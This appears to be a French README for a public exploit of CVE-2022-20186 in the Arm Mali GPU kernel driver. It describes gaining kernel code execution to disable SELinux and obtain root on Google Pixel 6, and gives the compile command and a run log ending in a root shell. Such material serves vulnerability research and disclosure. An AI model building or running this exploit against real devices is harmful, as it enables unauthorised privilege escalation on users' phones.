
Exploit pour CVE-2022-20186 dans le pilote du noyau Arm Mali, permettant l'exécution arbitraire de code noyau pour désactiver SELinux et obtenir les droits root sur Google Pixel 6.
Le write-up est disponible ici. Il s'agit d'un bug dans le pilote noyau Arm Mali que j'ai signalé en janvier 2022. Ce bug peut être utilisé pour obtenir une exécution arbitraire de code noyau depuis le domaine applicatif non fiable, qui est ensuite utilisée pour désactiver SELinux et obtenir les droits root.
L'exploit est testé sur le Google Pixel 6 et prend en charge les niveaux de patch de novembre 2021 à février 2022. Il est facile d'ajouter la prise en charge d'autres firmware en modifiant quelques offsets d'image. Pour référence, j'ai utilisé la commande suivante pour compiler avec clang dans ndk-21 :
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
L'exploit échoue rarement et peut être relancé sans faire planter l'appareil. En cas de succès, il devrait désactiver SELinux et obtenir les droits root.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #